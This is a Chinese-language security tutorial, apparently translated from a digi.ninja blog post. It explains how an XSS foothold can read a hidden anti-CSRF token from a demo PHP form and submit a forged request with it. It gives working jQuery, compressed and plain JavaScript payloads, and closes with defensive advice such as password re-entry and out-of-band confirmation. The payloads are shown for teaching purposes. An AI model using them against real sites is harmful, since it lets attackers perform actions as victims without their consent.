Quantcast
Channel: CodeSection,代码区,网络安全 - CodeSec
Viewing all articles
Browse latest Browse all 12749

【技术分享】如何利用XSS窃取CSRF令牌

0
0
【技术分享】如何利用XSS窃取CSRF令牌

2017-11-22 11:47:33

阅读:696次
点赞(0)
收藏
来源: digi.ninja





【技术分享】如何利用XSS窃取CSRF令牌

作者:興趣使然的小胃





【技术分享】如何利用XSS窃取CSRF令牌

译者:興趣使然的小胃

预估稿费:130RMB

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿


一、前言
隐藏令牌是保护重要表单信息免受CSRF(Cross-Site Request Forgery,跨站请求伪造)攻击影响的一种绝佳方案,然而,只需一次简单的XSS(Cross-Site Scripting,跨站脚本)攻击,攻击者就能让这种保护屏障形同虚设。

在本文中,我会介绍使用XSS来窃取CSRF令牌的两种技术,通过已窃取的令牌提交表单,完成攻击任务。

我们的攻击对象为某个网页表单,其源码(csrf.php)如下所示:

<!doctypehtml> <html> <head> <title>StealMyToken</title> </head> <bodyid="body"> <?php $h=fopen("/tmp/csrf","a"); fwrite($h,print_r($_POST,true)); if(array_key_exists("token",$_POST)&&array_key_exists("message",$_POST)){ if($_POST['token']==="secret_token"){ print"<p>Tokenaccepted,themessagepassedis:".htmlentities($_POST['message'])."</p>"; fwrite($h,"Tokenaccepted,themessagepassedis:".htmlentities($_POST['message'])."\n"); }else{ print"<p>Invalidtoken</p>"; fwrite($h,"Invalidtokenpassed\n"); } } fclose($h); ?> <formmethod="post"action="<?=htmlentities($_SERVER['PHP_SELF'])?>"> <inputtype="hidden"value="secret_token"id="token"name="token"/> <inputtype="text"value=""name="message"id="message"/> <inputtype="submit"value="Submit"/> </form> </body> </html>

如你所见,上述代码中使用隐藏域(类型为“hidden”的input元素)来阻止CSRF攻击,该input元素的name及id为“token”。提交表单时,网页会检查隐藏域值,如果提交的值与预设值(“secret_token”)相匹配,则显示相应的信息(message),并将信息写入文件中。无效的令牌信息也会写入文件中,以辅助后续的调试工作。


二、使用jQuery代码

第一种方法用到了jQuery库,代码(withjQuery.js)如下所示:

functionsubmitFormWithTokenjQuery(token){ $.post(POST_URL,{token:token,message:"helloworld"}) .done(function(data){ console.log(data); }); } functiongetWithjQuery(){ $.ajax({ type:"GET", url:GET_URL, //Putanyquerystringvaluesinhere,e.g. //data:{name:'value'}, data:{}, async:true, dataType:"text", success:function(data){ //Convertthestringdatatoanobject var$data=$(data); //Findthetokeninthepage var$input=$data.find("#token"); //Thiscomesbackasanarraysocheckthereisatleast //oneelementandthengetthevaluefromit if($input.length>0){ inputField=$input[0]; token=inputField.value console.log("Thetokenis:"+token); submitFormWithTokenjQuery(token); } }, //Incaseyouneedtohandleanyerrorsinthe //GETrequest error:function(xml,error){ console.log(error); } }); } varGET_URL="/csrf.php" varPOST_URL="/csrf.php" getWithjQuery();

代码中的注释已经足够清晰,这里再简单补充一下:

getWithjQuery函数会向包含表单令牌的目标网页发起GET请求。当网页返回响应数据时,脚本就会调用success函数。在上述代码中,函数会分解网页返回的数据,提取id为“token”的input域,从而获得我们所需的token信息。

随后,该token值被传递到submitFormWithTokenjQuery函数中,该函数会向目标网页(csrf.php)发起POST请求,请求中包含token及message数据。

在代码中,我将GET及POST的URL分开保存,因为有些时候,加载表单以及提交表单的URL并不是同一个URL。

上述代码的确非常冗长,幸运的是,jQuery压缩起来非常方便,因此上述代码可以重写为如下形式(compressedjQuery.js):

$.get("csrf.php",function(data){ $.post("/csrf.php",{token:$(data).find("#token")[0].value,message:"helloworld"}) });

如果你在jQuery方面技艺娴熟,那么上述代码可能有更大的压缩空间,但我发现这段代码足以胜任大多数使用场景。


三、使用javascript代码

如果实际环境中你无法使用jQuery,那么你还可以选择使用JavaScript原生代码,如下代码(rawJS.js)功能与前文提到的jQuery代码相同,但这种方法不需要依赖任何第三方库:

functionsubmitFormWithTokenJS(token){ varxhr=newXMLHttpRequest(); xhr.open("POST",POST_URL,true); //Sendtheproperheaderinformationalongwiththerequest xhr.setRequestHeader("Content-type","application/x-www-form-urlencoded"); //Thisisfordebuggingandcanberemoved xhr.onreadystatechange=function(){ if(xhr.readyState===XMLHttpRequest.DONE&&xhr.status===200){ console.log(xhr.responseText); } } xhr.send("token="+token+"&message=CSRF%20Beaten"); } functiongetTokenJS(){ varxhr=newXMLHttpRequest(); //ThistelsittoreturnitasaHTMLdocument xhr.responseType="document"; //trueontheendofheremakesthecallasynchronous xhr.open("GET",GET_URL,true); xhr.onload=function(e){ if(xhr.readyState===XMLHttpRequest.DONE&&xhr.status===200){ //Getthedocumentfromtheresponse page=xhr.response //Gettheinputelement input=page.getElementById("token"); //Showthetoken console.log("Thetokenis:"+input.value); //Usethetokentosubmittheform submitFormWithTokenJS(input.value); } }; //Maketherequest xhr.send(null); } varGET_URL="/csrf.php" varPOST_URL="/csrf.php" getTokenJS();

getTokenJS函数使用异步XMLHttpRequest函数向GET_URL地址发起GET请求,当网页返回响应数据时,该函数就从DOM中提取出token元素。

如果input域不包含id属性,那么我们可以用其他类似的方法来替代page.getElementByID调用,比如:

1、getElementsByClassName

2、getElementsByName

3、getElementsByTagName

这些方法返回的是对象数组,而不是单一对象,因此如果你使用了上述方法,你需要使用数组索引来访问具体元素,具体用法如下:

input=page.getElementsByTagName("input")[0]

既然我们已经得到了token数据,现在我们可以将该数据传递给submitFormWithTokenJS函数,通过异步XMLHttpRequest向POST_URL地址发起POST请求。

传递给xhr.send的字符串为多组键值对,键值对之间使用“&”符号分隔,与查询字符串的形式相同。

如果读者感兴趣,可以进一步压缩这段JavaScript代码。


四、总结

再牢固的堡垒都可能因为一个简单的失误功亏一篑。虽然攻击者仍然需要诱导受害者访问包含XSS代码的页面,或者诱使受害者通过浏览器点击反射型XSS链接,以触发本文介绍的两种攻击场景,但是在实际环境中,想让用户执行点击动作并不是那么困难的一件事。

想要阻止这类攻击也很简单,那就是确保站点不包含XSS漏洞。如果你无法保证这一点,那么最好选择另一种令牌形式。目标网站可以选择让用户输入密码才能执行重要任务,这种处理方式效果上与使用CSRF令牌的效果相同,但会比软件生成令牌的效果要好些,因为后一种情况下,当令牌信息以某种形式发送给浏览器时,令牌信息可能会被攻击者窃取,也相当于攻击者拿到了用户的密码。XSS攻击脚本无法获取用户密码,因此也无法完成整个攻击流程。


【技术分享】如何利用XSS窃取CSRF令牌
CSRF是我们必须注意的攻击方式

另一种方法就是采用带外(out-of-band)确认机制。比如,当我发起新的支付请求时,我的银行会向我发送一条短信,我需要使用短信中的信息来确认支付操作。XSS攻击可以用来触发短信发送行为,但无法读取短信内容,因此也就无法完成攻击过程。



【技术分享】如何利用XSS窃取CSRF令牌
【技术分享】如何利用XSS窃取CSRF令牌
本文由 安全客 翻译,转载请注明“转自安全客”,并附上链接。
原文链接:https://digi.ninja/blog/xss_steal_csrf_token.php

Viewing all articles
Browse latest Browse all 12749